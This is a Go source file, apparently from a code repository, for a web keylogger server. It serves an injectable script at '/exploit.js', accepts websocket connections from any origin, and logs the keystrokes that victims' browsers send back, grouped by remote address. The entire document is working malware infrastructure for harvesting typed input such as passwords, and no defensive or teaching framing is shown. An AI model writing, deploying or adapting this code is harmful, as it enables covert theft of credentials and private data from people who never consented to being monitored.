/
keylogger.go
73 lines (62 loc) · 1.93 KB
/
keylogger.go
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package http
import (
"html/template"
"log"
"net/http"
"github.com/gorilla/mux"
"github.com/gorilla/websocket"
)
type KeyLogger struct {
Upgrader websocket.Upgrader
ListenAddr string
WsAddr string
JsTemplate *template.Template
}
func NewKeyLogger(listenAddr, wsAddr, jsTemplateFilePath string) *KeyLogger {
jsTemplate, err := template.ParseFiles(jsTemplateFilePath)
if err != nil {
log.Panicf("[!] Unable to render Js template due to error: %s\n", err)
return nil
}
return &KeyLogger{
Upgrader: websocket.Upgrader{
CheckOrigin: func(r *http.Request) bool { return true },
},
ListenAddr: listenAddr,
WsAddr: wsAddr,
JsTemplate: jsTemplate,
}
}
func (logger *KeyLogger) ServeWsHandler(w http.ResponseWriter, r *http.Request) {
conn, err := logger.Upgrader.Upgrade(w, r, nil)
if err != nil {
log.Panicf("[!] Unable to upgrade WS connection due to error: %s\n", err)
}
defer conn.Close()
remoteAddr := conn.RemoteAddr().String()
log.Printf("[*] WS Connection incoming from remote address: %s\n", remoteAddr)
// TODO: maintain all logs into a string and latest dump it into a txt file.
// handle connection
var message string
for {
_, msg, err := conn.ReadMessage()
if err != nil {
log.Printf("[*] Keystrokes from %s -> %s", remoteAddr, message)
log.Printf("[!] Closing connection with %s due to error: %s\n", remoteAddr, err)
return
}
message = message + string(msg)
}
}
func (logger *KeyLogger) ServeFileHandler(w http.ResponseWriter, r *http.Request) {
log.Printf("[*] Incoming connection from %s", r.RemoteAddr)
w.Header().Set("Content-Type", "application/javascript")
logger.JsTemplate.Execute(w, logger.WsAddr)
}
func (logger *KeyLogger) StartLogger() {
r := mux.NewRouter()
r.HandleFunc("/ws", logger.ServeWsHandler)
r.HandleFunc("/exploit.js", logger.ServeFileHandler)
log.Printf("[*] Listening on %s\n", logger.ListenAddr)
log.Fatalln(http.ListenAndServe(logger.ListenAddr, r))
}